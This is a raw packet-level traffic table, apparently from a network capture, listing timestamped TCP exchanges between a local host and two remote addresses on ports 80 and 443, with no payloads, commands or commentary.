Nov 20, 2024 16:51:07.409081936 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.409573078 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.409801960 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.410609961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.411300898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.411320925 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.411375046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.411375046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.413614035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.413626909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.413816929 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.414752007 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.414763927 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.414812088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.416277885 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.416289091 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.416348934 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.418144941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.418205976 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.418324947 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.418401003 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.420173883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.420186996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.420223951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.422199011 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.422260046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.422384024 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.422456980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.424246073 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.424323082 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.424356937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.424407005 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.426179886 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.426239014 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.426409006 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.426873922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.428164959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.428217888 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.428330898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.428421974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.430247068 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.430305004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.430397987 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.430454969 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.432157040 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.432205915 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.432389021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.432463884 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.434149027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.434242010 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.434310913 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.434372902 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.436275959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.436289072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.436392069 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.438325882 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.438420057 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.438635111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.438740969 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.440395117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.440445900 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.440540075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.440598011 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.485786915 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.485877037 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.485934973 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.486464024 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.486483097 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.556020975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.556097031 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.556139946 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.556252956 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.557037115 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.557105064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.557173014 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.557229996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.559248924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.559453964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.559459925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.559580088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.561609983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.561621904 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.561685085 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.563045025 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.563148975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.563164949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.563230038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.564860106 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.564995050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.565020084 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.565068960 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.566735029 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.566816092 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.566911936 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.566984892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.568617105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.568739891 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.568753004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.568806887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.570561886 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.570616007 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.570699930 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.570873976 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.572379112 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.572448969 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.572484016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.572637081 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.574301958 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.574438095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.574554920 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.574626923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.576359034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.576380014 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.576421022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.576442957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.578011036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.578119040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.578125954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.578185081 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.579876900 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.579993010 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.580076933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.580243111 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.581840038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.581893921 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.581955910 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.583704948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.583853960 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.583903074 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.585566998 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.585619926 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.585736036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.585803986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.587515116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.587614059 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.587620020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.587692022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.589221954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.589327097 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.589515924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.589730024 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.591240883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.591327906 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.591362953 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.591598988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.593029022 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.593089104 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.593168974 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.593255997 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.594850063 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.594971895 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.594975948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.595021963 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.596756935 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.596832991 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.596865892 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.596946955 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.598637104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.598690987 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.598776102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.598844051 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.600560904 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.600613117 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.600754023 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.600838900 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.602399111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.602458000 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.602519035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.602639914 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.604254007 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.604309082 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.604348898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.604429960 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.606132984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.606198072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.606199980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.606255054 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.607952118 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.608020067 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.608093977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.608258009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.609870911 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.609925032 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.610023975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.610380888 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.611792088 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.611907005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.611911058 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.611955881 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.613646030 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.613802910 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.613804102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.613987923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.615483046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.615556955 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.615571022 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.615688086 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.617589951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.617603064 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.617829084 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.619255066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.619489908 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.619505882 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.619647980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.620441914 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.620667934 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.620685101 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.621174097 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.621320009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.621328115 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.621393919 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.622204065 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.622268915 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.622668982 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.622736931 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.622840881 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.622906923 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.622929096 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.623094082 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.623142004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.623428106 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.623609066 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.624886036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.625020981 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.625037909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.625119925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.626785994 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.626852036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.626889944 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.626952887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.628642082 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.628765106 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.628834963 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.630717039 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.630826950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.630848885 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.630930901 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.632843971 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.632857084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.632920027 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.632920027 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.634627104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.634680033 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.634692907 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.634948969 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.636604071 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.636739016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.636765957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.636816978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.638281107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.638345957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.638372898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.638492107 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.639923096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.639992952 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.640038967 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.640450001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.641807079 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.641875982 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.641904116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.641954899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.643687963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.643707991 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.643759966 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.643759966 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.645678043 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.645776033 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.645843029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.647594929 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.647820950 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.647829056 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.647901058 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.649305105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.649353027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.649353981 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.649410963 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.666095972 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.666157961 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.707268953 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.757273912 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.757332087 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.757538080 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.757728100 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.758116961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.758172035 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.758275986 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.758450031 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.759634018 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.759738922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.759751081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.759979010 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.761235952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.761290073 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.761332989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.761384010 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.762739897 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.762803078 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.762871981 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.762926102 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.764363050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.764462948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.764501095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.765110016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.765916109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.766031027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.766160011 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.767385960 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.767446995 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.767503977 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.768946886 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.769023895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.769197941 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.770483017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.770558119 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.770572901 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.770695925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.771863937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.771941900 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.771945953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.771996021 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.773356915 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.773451090 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.773490906 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.773574114 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.774796009 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.774929047 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.774938107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.774996042 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.776243925 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.776299953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.776345968 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.776401043 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.777774096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.777854919 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.777946949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.777992964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.780193090 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.780307055 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.780330896 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.780410051 CET	49832	80	192.168.2.9	185.215.113.16
